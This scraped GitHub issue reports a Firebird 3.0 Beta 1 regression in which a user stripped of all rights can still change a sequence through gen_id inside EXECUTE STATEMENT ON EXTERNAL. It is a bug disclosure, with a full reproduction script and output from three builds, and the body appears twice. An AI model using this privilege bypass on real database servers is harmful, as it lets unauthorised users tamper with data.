You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
recreate sequence g;
commit;
drop user maverick;
commit;
create user maverick password '123';
commit;
revoke all on all from maverick;
commit;
revoke all on all from public;
commit;
show sequ;
set term ^;
execute block returns(who_am_i varchar(31), what_i_have_done_with_gen bigint) as
declare n bigint;
begin
execute statement 'select current_user, gen_id(g, -9871234598765) from rdb$database'
on external 'localhost:' || rdb$get_context('SYSTEM', 'DB_NAME')
as user 'maverick' password '123'
into who_am_i, what_i_have_done_with_gen;
suspend;
end
^
set term ;^
commit;
show sequ;
Output (starting from 1st 'show sequ' command):
1. On WI-T3.0.0.30566 Firebird 3.0 Alpha 1:
show sequ;
Generator G, current value is 0
set term ^;
execute block returns(who_am_i varchar(31), what_i_have_done_with_gen bigint) as
declare n bigint;
begin
execute statement 'select current_user, gen_id(g, -9871234598765) from rdb$database'
on external 'localhost:' || rdb$get_context('SYSTEM', 'DB_NAME')
as user 'maverick' password '123'
into who_am_i, what_i_have_done_with_gen;
suspend;
end
^
Statement failed, SQLSTATE = 42000
Execute statement error at isc_dsql_prepare :
335544352 : no permission for USAGE access to GENERATOR G
Statement : select current_user, gen_id(g, -9871234598765) from rdb$database
Data source : Firebird::localhost:C:\MIX\FIREBIRD\QA\FBT-REPO\TMP\E30A1.FDB
After line 19 in file gen_id_hole.sql
set term ;^
commit;
show sequ;
Generator G, current value is 0
2. On WI-T3.0.0.31374 Firebird 3.0 Beta 1:
show sequ;
Generator G, current value: 0, initial value: 0, increment: 1
set term ^;
execute block returns(who_am_i varchar(31), what_i_have_done_with_gen bigint) as
declare n bigint;
begin
execute statement 'select current_user, gen_id(g, -9871234598765) from rdb$database'
on external 'localhost:' || rdb$get_context('SYSTEM', 'DB_NAME')
as user 'maverick' password '123'
into who_am_i, what_i_have_done_with_gen;
suspend;
end
^
show sequ;
Generator G, current value: -9871234598765, initial value: 0, increment: 1
PS.
As for Alpha-2: this script will raise strange exception on ES/EDS:
Statement failed, SQLSTATE = 42000
Execute statement error at attach :
335544344 : I/O error during "CreateFile (open)" operation for file "localhost:C:\MIX\FIREBIRD\QA\FBT-REPO\TMP\E30A2.FDB"
335544734 : Error while trying to open file
123 : <syntax error in the name of file, directory or volume> // localized message, e.g. in cyrillic
Data source : Firebird::localhost:C:\MIX\FIREBIRD\QA\FBT-REPO\TMP\E30A2.FDB
If change execute block + es/eds with this:
show sequ;
commit;
connect 'localhost/3299:C:\MIX\FIREBIRD\QA\FBT-REPO\TMP\e30a2.fdb' user 'maverick' password '123';
select current_user as who_am_i, gen_id(g, -9871234598765) as what_i_have_done_with_gen from rdb$database;
commit;
show sequ;
-- output in WI-T3.0.0.30809 Firebird 3.0 Alpha 2 will be:
show sequ;
Generator G, current value is 0
commit;
connect 'localhost/3299:C:\MIX\FIREBIRD\QA\FBT-REPO\TMP\e30a2.fdb' user 'maverick' password '123';
select current_user as who_am_i, gen_id(g, -9871234598765) as what_i_have_done_with_gen from rdb$database;
Statement failed, SQLSTATE = 28000
no permission for USAGE access to GENERATOR G
After line 20 in file gen_id_hole-a2.sql
commit;
show sequ;
Statement failed, SQLSTATE = 28000
no permission for USAGE access to GENERATOR G
After line 23 in file gen_id_hole-a2.sql
There are no generators in this database
summary: Regression: gen_id( <non_granted_gen>, <any_increment> ) is allowed to user who has not permission to change (and even see) value of sequence => Regression: generators can be seen/modified by unprivileged users
Submitted by: @pavel-zotov
Is related to CORE2553
Script:
show version;
set list on;
set echo on;
recreate sequence g;
commit;
drop user maverick;
commit;
create user maverick password '123';
commit;
revoke all on all from maverick;
commit;
revoke all on all from public;
commit;
show sequ;
set term ^;
execute block returns(who_am_i varchar(31), what_i_have_done_with_gen bigint) as
declare n bigint;
begin
execute statement 'select current_user, gen_id(g, -9871234598765) from rdb$database'
on external 'localhost:' || rdb$get_context('SYSTEM', 'DB_NAME')
as user 'maverick' password '123'
into who_am_i, what_i_have_done_with_gen;
suspend;
end
^
set term ;^
commit;
show sequ;
Output (starting from 1st 'show sequ' command):
1. On WI-T3.0.0.30566 Firebird 3.0 Alpha 1:
show sequ;
Generator G, current value is 0
set term ^;
execute block returns(who_am_i varchar(31), what_i_have_done_with_gen bigint) as
declare n bigint;
begin
execute statement 'select current_user, gen_id(g, -9871234598765) from rdb$database'
on external 'localhost:' || rdb$get_context('SYSTEM', 'DB_NAME')
as user 'maverick' password '123'
into who_am_i, what_i_have_done_with_gen;
suspend;
end
^
Statement failed, SQLSTATE = 42000
Execute statement error at isc_dsql_prepare :
335544352 : no permission for USAGE access to GENERATOR G
Statement : select current_user, gen_id(g, -9871234598765) from rdb$database
Data source : Firebird::localhost:C:\MIX\FIREBIRD\QA\FBT-REPO\TMP\E30A1.FDB
After line 19 in file gen_id_hole.sql
set term ;^
commit;
show sequ;
Generator G, current value is 0
2. On WI-T3.0.0.31374 Firebird 3.0 Beta 1:
show sequ;
Generator G, current value: 0, initial value: 0, increment: 1
set term ^;
execute block returns(who_am_i varchar(31), what_i_have_done_with_gen bigint) as
declare n bigint;
begin
execute statement 'select current_user, gen_id(g, -9871234598765) from rdb$database'
on external 'localhost:' || rdb$get_context('SYSTEM', 'DB_NAME')
as user 'maverick' password '123'
into who_am_i, what_i_have_done_with_gen;
suspend;
end
^
WHO_AM_I MAVERICK
WHAT_I_HAVE_DONE_WITH_GEN -9871234598765
set term ;^
commit;
show sequ;
Generator G, current value: -9871234598765, initial value: 0, increment: 1
PS.
As for Alpha-2: this script will raise strange exception on ES/EDS:
Statement failed, SQLSTATE = 42000
Execute statement error at attach :
335544344 : I/O error during "CreateFile (open)" operation for file "localhost:C:\MIX\FIREBIRD\QA\FBT-REPO\TMP\E30A2.FDB"
335544734 : Error while trying to open file
123 : <syntax error in the name of file, directory or volume> // localized message, e.g. in cyrillic
Data source : Firebird::localhost:C:\MIX\FIREBIRD\QA\FBT-REPO\TMP\E30A2.FDB
If change execute block + es/eds with this:
show sequ;
commit;
connect 'localhost/3299:C:\MIX\FIREBIRD\QA\FBT-REPO\TMP\e30a2.fdb' user 'maverick' password '123';
select current_user as who_am_i, gen_id(g, -9871234598765) as what_i_have_done_with_gen from rdb$database;
commit;
show sequ;
-- output in WI-T3.0.0.30809 Firebird 3.0 Alpha 2 will be:
show sequ;
Generator G, current value is 0
commit;
connect 'localhost/3299:C:\MIX\FIREBIRD\QA\FBT-REPO\TMP\e30a2.fdb' user 'maverick' password '123';
select current_user as who_am_i, gen_id(g, -9871234598765) as what_i_have_done_with_gen from rdb$database;
Statement failed, SQLSTATE = 28000
no permission for USAGE access to GENERATOR G
After line 20 in file gen_id_hole-a2.sql
commit;
show sequ;
Statement failed, SQLSTATE = 28000
no permission for USAGE access to GENERATOR G
After line 23 in file gen_id_hole-a2.sql
There are no generators in this database
Commits: f58768a FirebirdSQL/fbt-repository@8fb61f5
The text was updated successfully, but these errors were encountered: